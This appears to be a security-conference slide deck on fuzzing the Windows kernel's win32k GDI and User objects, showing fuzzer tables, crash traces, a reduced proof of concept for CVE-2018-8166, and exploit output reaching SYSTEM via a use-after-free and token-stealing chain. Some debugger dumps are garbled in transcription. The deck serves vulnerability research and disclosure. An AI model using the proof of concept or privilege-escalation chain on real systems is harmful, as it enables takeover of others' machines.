



FUZZING THE WINDOWS KERNEL

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Agenda

- Introduction
- Something about Windows Kernel
- Framework Architecture
- Fuzz Results And BOSD Case
- Fuzzing Challenge
- Conclusion And Future Work
- Q&A




Introduction

- Who am I ?
- Researcher in Tencent Zhanlu Lab
- Focusing on Windows kernel
- Especially local privilege escalation
- @c0de3 on Twitter.
- Interests:
 - Reverse Engineering
 - Vulnerability Research
 - Malware Analysis



Introduction -Goals

- Goals ?
- Find many Windows Kernel Vulnerabilities





What are we aimed?

- win32k- syscalls
- GDI OBJECTS (DC ,Bitmap, Palette, Rgn, Pen,Brush,Path)
- User Objects(Desktop,Menu,Icon,Hook, Accelerator table, Window)
- Target Module

Win32k.sys win32kfull,Ntoskrnl.exe





Something about Fuzzing

- What is Fuzzing ?
- Automated software testing technique
- Invalid, unexpected or random data used as input
- Monitor target program for crashes
- How to generate new input?
- Random? Not effective (Feedback manua






Framework Architecture

- Fuzzing Script
- Fuzzing test case
- Fuzzing Servers
- Fuzzing Dump collector
- Fuzzing framework goal
 - -Easily scalable
 - -Reproducible BSOD



Kernel Fuzz Framework

- Fuzzing





Find the target Functions

- Find the target functions with the windbg.

```
kd> x *win32kfull!*GDI*
fffff8864`e1e71270 win32kfull!NtGdiGetPixel (<no parameter info>
fffff8864`e1f0f540 win32kfull!NtGdiMakeInfoDC (<no parameter info>
fffff8864`e1e0b590 win32kfull!NtGdiCreateServerMetafile (<no parameter info>
fffff8864`e20949c0 win32kfull!NtGdiEngStrokePath (<no parameter info>
fffff8864`e1fffb170 win32kfull!NtGdiFullscreenControl (<no parameter info>
fffff8864`e1ebbb370 win32kfull!NtGdiEngStretchBlt (<no parameter info>
fffff8864`e1fiae90 win32kfull!NtGdiUnmapHENFont (<no parameter info>
fffff8864`e1f0l1a10 win32kfull!NtGdiWorldTransform (<no parameter info>
fffff8864`e1f37910 win32kfull!NtGdiCreateCompatibleDC (<no parameter info>
fffff8864`e2160058 win32kfull!_imp_NtGdiOpenDCW = <no type information>
fffff8864`e2058080 win32kfull!NtGdiOCICISetCPFeature (<no parameter info>
fffff8864`e1ef1770 win32kfull!GdiMultiUserFontCleanup (<no parameter info>
fffff8864`e1e45990 win32kfull!NtGdiGetCharSet (<no parameter info>
fffff8864`e1f37930 win32kfull!NtGdiCreatePMPrintedOutput (<no parameter info>
fffff8864`e2050610 win32kfull!NtGdiOCICoGetCapabilitiesStringLength (<no parameter info>
fffff8864`e2092ea0 win32kfull!NtGdiBRUSHOB_pvAllocRbrush (<no parameter info>
fffff8864`e1e5a180 win32kfull!NtGdiExtGetObjectW (<no parameter info>
fffff8864`e1f24490 win32kfull!NtGdiGetKerningPairs (<no parameter info>
fffff8864`e1f15a90 win32kfull!NtGdiEngMarkBandingSurface (<no parameter info>
fffff8864`e1e099590 win32kfull!IsGdiThreadCalloutFlushUserBatchSupported (<no parameter info>
fffff8864`e2160068 win32kfull!_imp_NtGdiInit = <no type information>
fffff8864`e208f140 win32kfull!NtGdiStrokePath (<no parameter info>
fffff8864`e1e08b18 win32kfull!GdiHintSpriteShape (<no parameter info>
fffff8864`e1e842c0 win32kfull!NtGdiTextColorMode (<no parameter info>
fffff8864`e21600d8 _imp_NtGdiCOPPCOMPATIBLEOPNInformation = <no type information>
fffff8864`e1f38310 win32kfull!NtGdiGetBitmapDpiScaleValue (<no parameter info>
fffff8864`e1f8720 win32kfull!NtGdiSetBoundsRect (<no parameter info>
fffff8864`e2160040 win32kfull!_imp_NtGdiRectInRegion = <no type information>
fffff8864`e2090360 win32kfull!NtGdiGetObjectBitmapHandle (<no parameter info>
fffff8864`e2058760 win32kfull!NtGdiDDISharedPrimaryUnlockNotification (<no parameter info>
fffff8864`e2080460 win32kfull!NtGdiCreateEllipticRgn (<no parameter info>
fffff8864`e1f18130 win32kfull!NtGdiEngLockSurface (<no parameter info>
fffff8864`e208f5c0 win32kfull!NtGdiCancelDC (<no parameter info>
fffff8864`e1f37a90 win32kfull!NtGdiGetSuggestedOPMProtectedOutputArraySize (<no parameter info>
fffff8864`e1f041c0 win32kfull!NtGdiDeleteClientObj (<no parameter info>
fffff8864`e20977f0 win32kfull!NtGdiConvertMetafileRect (<no parameter info>
fffff8864`e2094fa0 win32kfull!NtGdiFontOBJ_cGetGlyphs (<no parameter info>
fffff8864`e1f36430 win32kfull!PowerOfffdci (<no parameter info>
fffff8864`e20903c0 win32kfull!NtGdiGetRasterizerCaps (<no parameter info>
fffff8864`e1f08090 win32kfull!NtGdiAnyLinkedFonts (<no parameter info>
fffff8864`e2058630 win32kfull!NtGdiDDIGetPresentQueueEvent (<no parameter info>
```

```
kd> x *win32kbase!*GDI*
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsvTrustee
fffff8864`e2297020 win32kbase!DxgkEngGetWindowDpiScalingFactor (<no parameter info>
fffff8864`e2210420 win32kbase!GdiThreadCallout (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsUMPDCache
fffff8864`e21aa310 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_GrePolyPo
fffff8864`e2298bf0 win32kbase!NtGdiDdDDIWaitForVerticalBlankEvent2 (<no parameter info>
fffff8864`e21aa310 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_atmfdEnab
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsW32kGen
fffff8864`e21bee2c win32kbase!GdiHandleManager::Destroy (<no parameter info>
fffff8864`e21aa310 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_GetGForce
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsGetgpDe
fffff8864`e21f6cc0 win32kbase!NtGdiCreateCompatibleDC (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsbATNFDD
fffff8864`e2298900 win32kbase!NtGdiDdDDISetHwProtectionTeardownRecovery (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsbDxgkEng
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsbInitRe
fffff8864`e21acc38 win32kbase!NtGdiCloseProcess (<no parameter info>
fffff8864`e21b1f00 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_DwmDestro
fffff8864`e21b1f00 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_VInitFont
fffff8864`e21befd0 win32kbase!NtGdiConfigureSharedResource (<no parameter info>
fffff8864`e2295170 win32kbase!NtGdiCreateOPMProtectedOutput (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsUMPDDrv
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsDestroy
fffff8864`e21b0de0 win32kbase!NtGdiDdDDIPresent (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_Isw32kCdd
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsFreeNon
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsGreHide
fffff8864`e21b0750 win32kbase!NtGdiDdDDIOLock (<no parameter info>
fffff8864`e22982e0 win32kbase!NtGdiDdDDIOpenSynchronizationObject (<no parameter info>
fffff8864`e21c3d10 win32kbase!DxgkEngAssertGdiOutput (<no parameter info>
fffff8864`e21aa310 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_UserGetHi
fffff8864`e21cad50 win32kbase!GdiThreadCalloutCleanup (<no parameter info>
fffff8864`e2242710 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_IsUMPD_Ldc
fffff8864`e21b2880 win32kbase!NtGdiDdDDIOLock2 (<no parameter info>
fffff8864`e21b1f00 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_UmdfUninit
fffff8864`e21c4750 win32kbase!NtGdiDdDDIEject (<no parameter info>
fffff8864`e2350150 win32kbase!_imp_NtGdiFlushUserBatch = <no type information>
fffff8864`e21b1f00 win32kbase!ext_ms_win_moderncore_win32k_base_ntgdi_11_1_0_GdiMultiUs
```

The Functions Interest me



湛泸实验室
ZHANLU LABORATORY

NtGdiCreateCompatibleD
C()

NtGdiCreateBitmap()

NtGdiEngCreatePalette()

NtGdiCreateRectRgn()

NtGdiCreateColorSpace()

NtGdiCreatePen()

NtGdiCreateDIBBrush()

.....

Create Other GDI

SelectObject()

NtGdiBitBlt()

NtGdiResizePalette()

NtGdiDeleteObjectApp
()

NtGdiResizePalette()

NtGdiBitBlt()

NtGdiCancelDC()

.....

Other GDI Operate

NtGdiEngDeleteSurfac
C()

NtGdiEngDeletePath()

NtGdiDeleteObjectApp

NtGdiDeleteObjectApp

NtGdiDeleteColorSpac
C()

NtUserReleaseDC()


.....

GDI Destory Operate

Generate various
Elements



Mix them & Mess out



Boom!!!





Fuzz Script Generate Sample

DC

```
...
GDI_Fuzz
;;
dc_hitRate = 10
###DC#####
func_list_DC.append((BeginPaint, dc_hitRate + 6))
func_list_DC.append((BitBlt, dc_hitRate + 6))
func_list_DC.append((ExtFloodFill, dc_hitRate + 6))
func_list_DC.append((SelectClipPath, dc_hitRate + 6))
func_list_DC.append((RestoreDC, dc_hitRate + 6))
func_list_DC.append((SaveDC, dc_hitRate + 6))
func_list_DC.append((SetLayout, dc_hitRate + 6))
func_list_DC.append((DeleteDC, dc_hitRate))
func_list_DC.append((ReleaseDC, dc_hitRate + 6))
#func_list_DC.append((ScrollDC, dc_hitRate + 6))
func_list_DC.append((SetStretchBltMode, dc_hitRate + 6))
func_list_DC.append((PolyBezier, dc_hitRate + 6))
func_list_DC.append((PatBlt, dc_hitRate + 6))
...
```

Surface

```
# bitmap
func_list_Bitmap.append((MaskBlt, 6))
func_list_Bitmap.append((MtGdiDdAttachSurface, 6))
func_list_Bitmap.append((EngAssociateSurface, 6))
func_list_Bitmap.append((MtGdiDdDeleteSurfaceObject, 6))
func_list_Bitmap.append((EngAssociateSurface, 6))
func_list_Bitmap.append((EngDeleteSurface, 6))
func_list_Bitmap.append((EngMarkBandungSurface, 6))
func_list_Bitmap.append((SetBitmapAttributes, 6))
func_list_Bitmap.append((ClearBitmapAttributes, 6))
func_list_Bitmap.append((DeleteBitmap, 6))
func_list_Bitmap.append((SetBitmapBits, 6))
func_list_Bitmap.append((PlgBlt, 6))
func_list_Bitmap.append((SetPixel, 6))
func_list.append((SetBitmapDimensionEx, 6))
```

RGN

```
#Rgn
rgn_hitRate = 30
func_list_Rgn.append((PaintDesktop, rgn_hitRate + 6))
func_list_Rgn.append((FillRgn, rgn_hitRate + 6))
func_list_Rgn.append((FrameRgn, rgn_hitRate + 6))
func_list_Rgn.append((GetPolyFillMode, rgn_hitRate + 6))
func_list_Rgn.append((GetRegionData, rgn_hitRate + 6))
func_list_Rgn.append((GetRgnBox, rgn_hitRate + 6))
func_list_Rgn.append((InvertRgn, rgn_hitRate + 6))
func_list_Rgn.append((OffsetRgn, rgn_hitRate + 6))
func_list_Rgn.append((PaintRgn, rgn_hitRate + 6))
func_list_Rgn.append((PtInRegion, rgn_hitRate + 6))
func_list_Rgn.append((RectInRegion, rgn_hitRate + 6))
func_list_Rgn.append((SetPolyFillMode, rgn_hitRate + 6))
func_list_Rgn.append((SetRectRgn, rgn_hitRate + 6))
func_list_Rgn.append((GetWindowRgn, rgn_hitRate + 6))
```

Palette

```
...
palette
;;
palette_hitRate = 10
func_list_Palette.append((RealizePalette, palette_hitRate + 6))
func_list_Palette.append((ResizePalette, palette_hitRate + 6))
func_list_Palette.append((SelectPalette, palette_hitRate + 6))
func_list_Palette.append((MtGdiDoPalette, palette_hitRate + 6))
func_list_Palette.append((MtGdiColorCorrectPalette, palette_hitRate + 6))
func_list_Palette.append((SetPaletteEntries, palette_hitRate + 6))
func_list_Palette.append((SetSystemPaletteUse, palette_hitRate + 6))
func_list_Palette.append((ColorCorrectPalette, palette_hitRate + 6))
func_list_Palette.append((MtGdiEngDeletePalette, palette_hitRate + 6))
# func_list_Palette.append((FillRect, palette_hitRate+6))
# func_list_Palette.append((FillRect, palette_hitRate+6))
```

Fuzz Results Summarize

- Totally found 10~20+ crash in a year
I will show some details of them
- Crash module : win32kfull.sys win32kbase.sys Ntoskrnl.exe
- The crash types:
SESSION HAS VALID SPECIAL POOL
KMODE_EXCEPTION_NOT_HANDLED
SESSION_HAS_VALID_SPECIAL_POOL_ON_EXIT
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA
....



Effective crash Summarize

- The bugs I found:

UAF (3~4)

Integer overflow (2~3)

Race Condition(2)

NULL Dereference(2~4)



PoC Reduced Demo

CVE:2018-8166:

```
3: kd> kn
# ChildEBP RetAddr
<00> ad48ad30 81bd48b7 nt!KeBugCheckEx
<01> ad48ad4c 81b699e2 nt!KiFatalExceptionHandler+0x1a
<02> ad48ad70 81b699b4 nt!ExecuteHandler2+0x26
<03> ad48ae30 81af7ce3 nt!ExecuteHandler+0x24
<04> ad48b25c 81b62c71 nt!KiDispatchException+0x145
<05> ad48b2c8 81b6753f nt!KiDispatchTrapException+0x51
<06> ad48b2c8 a15ce1f7 nt!KiTrap0E+0x343
<07> ad48b3d0 a15d33ce win32kfull!ENUMAREAS::ENUMAREAS+0x96
<08> ad48b614 a14c4bfe win32kfull!bSpBltScreenToScreen+0x2d7
<09> ad48b9a4 a140859b win32kfull!SpBitBlt+0xbe650
<0a> ad48b9d8 a1441bb3 win32kfull!SpCopyBits+0x27
<0b> ad48bb4c a14cae33 win32kfull!NtGdiBitBltInternal+0x953
<0c> ad48bbf8 a14141cc win32kfull!zzzBltValidBits+0xb59e5
<0d> ad48bc60 a1413c26 win32kfull!xxxEndDeferWindowPosEx+0x2e8
<0e> ad48bc80 a1413a02 win32kfull!xxxSetWindowPosAndBand+0x15e
<0f> ad48bcc4 a1475c01 win32kfull!xxxSetWindowPos+0x46
<10> ad48bce8 a1475b9b win32kfull!xxxMoveWindow+0x41
<11> ad48bd34 81b6148e win32kfull!NtUserMoveWindow+0x14b
<12> ad48bd34 773116f0 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
<13> 005ef93c 00000000 0x773116f0
3: kd> .frame /c /r 7
07 ad48b3d0 a15d33ce win32kfull!ENUMAREAS::ENUMAREAS+0x96
eax=6638feb0 ebx=00000000 ecx=ae408f7c edx=0000809f esi=ad48b498 edi=9b39c708
eip=a15ce1f7 esp=ad48b3c8 ebp=ad48b3d0 iopl=0 ov up ei pl nz ac po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010a13
win32kfull!ENUMAREAS::ENUMAREAS+0x96:
a15ce1f7 3910      cmp     dword ptr [eax],edx  ds:0023:6638feb0=????????
```

```
PAINTSTRUCT paint;
BeginPaint(hwndx, &paint);
int style_index = -0x14;
int style = -0x6b9ffff8;

SetWindowLongA(hwndx, style_index, style);

WINDOWPLACEMENT info;
info.length = 0x2c;
info.ptMinPosition.x = 0x59c6752a;
info.ptMinPosition.y = 0x67753cdf;
info.ptMaxPosition.x = -0x35ff2f95;
info.ptMaxPosition.y = -0x75294c3f;
info.rcNormalPosition.top = 0x29fd062d;
info.rcNormalPosition.left = -0x4c481cff;
info.rcNormalPosition.right = 0x5245772;
info.rcNormalPosition.bottom = -0x6c242e77;
info.showCmd = 5;
info.flags = 1;
SetWindowPlacement(hwndx, &info);

info.length = 0x2c;
info.ptMinPosition.x = 0x67753cdf;
info.ptMinPosition.y = -0x35ff2f95;
info.ptMaxPosition.x = -0x75294c3f;
info.ptMaxPosition.y = 0x29fd062d;
info.rcNormalPosition.top = -0x4c481cff;
info.rcNormalPosition.left = 0x5245772;
info.rcNormalPosition.right = -0x6c242e77;
info.rcNormalPosition.bottom = -0x47946eac;
info.showCmd = 2;
info.flags = 2;
SetWindowPlacement(hwndx, &info);

int x = 0xa88c;
int y = 0x2f6;
int nWidth = 0x5ea;
int nHeight = 0x5c1;
int bRepaint = 1;
MoveWindow(hwndx, x, y, nWidth, nHeight, bRepaint);
```



Fuzz Results And BOSD Cases

- Crash Demo

```
2: kd> kn
# ChildEBP RetAddr
00 b41a7490 81fce8b7 nt!KeBugCheckEx

3: kd> kn
*** Stack trace for last set context - .thread/.cxr resets it
# ChildEBP RetAddr
07 ad48b3d0 a15d33ce win32kfull!ENUMAREAS::ENUMAREAS+0x96
# ChildEBP
08 ad48b614 a14c4bfe win32kfull!bSpBltScreenToScreen+0x2d7
00 8b4e9f70 09 ad48b9a4 a140859b win32kfull!SpBitBlt+0xbe650
01 8b4e9f8c 0a ad48b9d8 a1441bb3 win32kfull!SpCopyBits+0x27
02 8b4e9fb0 0b ad48bb4c a14cae33 win32kfull!NtGdiBitBltInternal+0x953
03 8b4ea070 0c ad48bbf8 a14141cc win32kfull!zzzBltValidBits+0xb59e5
04 8b4ea49c 0d ad48bc60 a1413c26 win32kfull!xxxEndDeferWindowPosEx+0x2e8
05 8b4ea508 0e ad48bc80 a1413a02 win32kfull!xxxSetWindowPosAndBand+0x15e
06 8b4ea628 0f ad48bcc4 a1475c01 win32kfull!xxxSetWindowPos+0x46
07 8b4ea640 10 ad48bce8 a1475b9b win32kfull!xxxMoveWindow+0x41
08 8b4ea6b8 11 ad48bd34 81b6148e win32kfull!NtUserMoveWindow+0x14b
09 8b4ea448 12 ad48bd34 773116f0 nt!KiSystemServicePostCall
0a 8b4ea888 13 005ef93c 00000000 0x773116f0
WARNING: Frame IP not in any known module. Following frames may be wrong.
0b 8b4eab0 14 005ef93c 00000000 0x773116f0
10 8b4eae44 15 kd> r
11 8b4eaf40 16 Last set context:
WARNING: Frame IP not in any known module. Following frames may be wrong.
12 0820f9cc 17 0820f9cc
2: kd> .frame
eip=a15cef17 esp=ad48b3c8 ebp=ad48b3d0 iopl=0 ov up ei pl nz ac po cy
07 8b4ea10 cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010a13
eax=95df2a2c Win32kfull!ENUMAREAS::ENUMAREAS+0x96:
eip=95df2a2c cs=0008 ss=a15cef17 3910 cmp dword ptr [eax],edx ds:0023:6638feb0=?????????
win32kfull!
95df2a2c 8b4304 mov eax,dword ptr [ebx+4] ds:0023:00000004=?????????
```

```
1: kd> kn
# ChildEBP RetAddr
00 b304b590 815d48b7 nt!KeBugCheckEx
01 b304b5ac 815699e2 nt!KiFatalExceptionHandler+0x1a
02 b304b5d0 815699b4 nt!ExecuteHandler2+0x26
03 b304b5d0 ^~56995b nt!ExecuteHandler+0x24
        4e85de nt!RtlRaiseStatus+0x47
        4a482c nt!KeReleaseMutant+0x1ce
        810c48 nt!KeReleaseMutex+0x14
        a785f7 win32kbase!SURFACE::bUnMap+0x38
        a78962 win32kfull!DEVLOCKBLTOBJ::bUnMapTrgSurfaceView+0x4b
        a70bae win32kfull!DEVLOCKBLTOBJ::vUnMap+0x2c
        56148e win32kfull!NtGdiAlphaBlend+0x126e
        3016f0 nt!KiSystemServicePostCall
: IP not in any known module. Following frames may be wrong.
00000000 0x773016f0
: may be wrong.
0b 8b4e9f94 0c 8b4e9f94 ebp=b304b594 iopl=0 nv up ei pl zr na pe nc
0d 8b4e9f94 0d 8b4e9f94 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
0e 8b4e9f94 0e 8b4e9f94 nt!memmove+0x33:
0f 8b4e9f94 0f 8b4e9f94 81d5b363 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
10 8b4e9f94 10 8b4e9f94 3: kd> dd edi
a6378d40 ????????
a6378d50 ????????
a6378d60 ????????
a6378d70 ????????
a6378d80 ????????
a6378d90 ????????
```

Exploit Demo (Win10 x64)


```
C:\Users\john-pc\Desktop> ExpX64.exe
[-] ExpMenu start...
g_oIstr_faketagMenu1:00007FF6AD31DF10
g_tagItemsFake:00007FF6AD3277B0
g_tagMenu2Fake:00007FF6AD327AC0
g_tagDESKTOP:00007FF6AD31DC10
bRet =1
bRet =1
bRet =1
bRet =1
hMenu2:360125
[-] UAF tagMenu addr:FFFFA22BC09503D0
[-] u Change addr:c09503d1 value cLockObj to 0x0
[-] make fakeMenu2
[-] make fakeMenu2 -1
[-] make fakeMenu2 -2
[-] Init finish
[-] InfoLeak tagMenu addr:FFFFA22BC0950470
tagWND:FFFFA22BC0A34640           tagMENU:FFFFA22BC0A347E0
[-] WriteAddr: FFFF A22BC0A34728
target to write addr FFFF A22BC0A34728
[-] make fakeMenu2
[-] make fakeMenu2 -1
[-] make fakeMenu2 -2
0000000000012A08
[+] Exploit Success!
Microsoft Windows [版本 10.0.14393]
(c) 2016 Microsoft Corporation. 保留所有权利。

C:\Users\john-pc\Desktop>whoami
nt authority\system

C:\Users\john-pc\Desktop>
```



How to Make a Anywhere R&W?



Fuzzing Challenge

- GDI Object type Isolation
- More mitigation is coming.....





Something about GDI Object type Isolation

- Normal GDI Object Attack Chain
- The Object memory layout change
- Make the fuzz more harder






GDI Object Attack Chains

1. UAF OOB(write), Integer overflow
2. Gain the R&W via GDI object
3. Use arbitrary kernel memory to steal a system process token




How the type Isolation Works

- Before Type Isolation



How the type Isolation Works


- After Type Isolation: Surface divided into two parts





How the type Isolation Works


- After Type Isolation: Surface header Create and Free






How the type Isolation Works

- After Type Isolation: Surface header Create and Free




Win32kbase!
gpTypeIsolation



How the type Isolation Works

- After Type Isolation: Surface Data allocate and free





GDI Object Surface type Isolation

- Surface create on RS4

```
237 LABEL_02.  
258     v37 = g_pIsolatedSurfaceLookaside;  
259     v38_g_pIsolatedSurfaceLookaside = g_pIsolatedSurfaceLookaside;  
260     ++HIDWORD(v38_g_pIsolatedSurfaceLookaside[1].Alignment);  
261     v39_surface = ExpInterlockedPopEntrySList(v38_g_pIsolatedSurfaceLookaside);  
262     if ( !v39_surface ) // return the surface header from the g_pIsolatedSurfaceLookaside  
263     {
```

```
237     v86 = 1;  
238     v33_size = v26 - v24;  
239     LODWORD(Object) = *((_DWORD *)v11 + 6) & 2;  
240     v34 = 0i64;  
241     if ( v33_size )  
242     {  
243         if ( (signed int)IsWin32AllocPoolImplSupported() >= 0 )  
244         {  
245             v35_buffer = (void *)Win32AllocPoolImpl(0x21i64, v33_size, 'mbpG'  
246             v34 = v35_buffer;  
247             if ( v35_buffer )  
248                 // surface data Alloc  
249                 if ( !(_DWORD)Object )  
250                     memset(v35_buffer, 0, v33_size);  
251             }  
252         }  
253     }
```

```
1: kd> dq fffffe859`428db560 ffffffff`d70507d2 00000000`00000000  
fffffe859`428db570 fffff990b`fe5df080 00000000`00000000  
fffffe859`428db580 ffffffff`d70507d2 00000000`00000000  
fffffe859`428db590 00000000`00000000 00000100`00000004  
fffffe859`428db5a0 00000000`00001000 fffffe859`441cf000  
fffffe859`428db5b0 fffffe859`441cf000 000087b2`00000010  
fffffe859`428db5c0 00010000`00000006 00000000`00000000  
fffffe859`428db5d0 00000000`04600200 00000000`00000000  
1: kd> dq fffffe859`441cf000 fffffe859`441cf000 41414141`41414141  
fffffe859`441cf010 41414141`41414141 41414141`41414141  
fffffe859`441cf020 41414141`41414141 41414141`41414141  
fffffe859`441cf030 41414141`41414141 41414141`41414141  
fffffe859`441cf040 41414141`41414141 41414141`41414141  
fffffe859`441cf050 41414141`41414141 41414141`41414141  
fffffe859`441cf060 41414141`41414141 41414141`41414141  
fffffe859`441cf070 41414141`41414141 41414141`41414141
```

surface
header

surface
data

GDI Object type Isolation

- Path create on RS4

```
1 PATHMEMOBJ * __fastcall PATHMEMOBJ::PATHMEMOBJ(PATHMEMOBJ *this)
2 {
3     PATHMEMOBJ *v1; // rbx
4     unsigned __int8 *v2; // rcx
5     __int64 v3; // rdi
6     __int64 v5; // [rsp+40h] [rbp+8h]
7
8     v1 = this;
9     *((_QWORD *)this + 9) = 0i64;
10    *((_QWORD *)this + 2) = 0i64;
11    *((_QWORD *)this + 3) = 0i64;
12    *((_QWORD *)this + 4) = 0i64;
13    *((_QWORD *)this + 5) = 0i64;
14    *((_QWORD *)this + 7) = 0i64;
15    *((_QWORD *)this + 8) = 0i64;
16    *((_QWORD *)this + 6) = 0i64;
17    *((_DWORD *)this + 28) = 0;
18    *((_QWORD *)this + 1) = 0i64;
19    if ( !*((_DWORD *)this + 28) )
20    {
21        PushThreadGuardedObject((char *)this + 80, this, THREAD_GUARDED_EPATHOBJ::vThreadCleanup);
22        *((_DWORD *)v1 + 28) = 1;
23    }
24    v2 = gpTypeIsolation[4];
25    if ( v2 )
26        v3 = NSInstrumentation::CTypeIsolation<81920,320>::AllocateType((__int64)v2);
27    else
28        v3 = 0i64;
```

Some thing about GDI Object type Isolation

- PALMEMOBJ::bCreatePalette RS4

```
76
77     v13 = gpTypeIsolation[1];
78     if ( v13 )
79     {
80         v14 = NSInstrumentation::CTypeIsolation<36864,144>::AllocateType(v13, a2, v10);
81         v10 = v30;
82     }
83     else
84     {
85         v14 = 0i64;
86     }
```



Conclusion And Future Work

- In the future, UAF is fewer and fewer more objects will be fuzzed
eg: Files, Devices, Events, Mutexes, Locks, Jobs, Sections, Semaphores...
- Architecture and Components
Algorithms
- Exploit Method Research



湛泸实验室
ZHANLU LABORATORY

Q&A



Thank you



References

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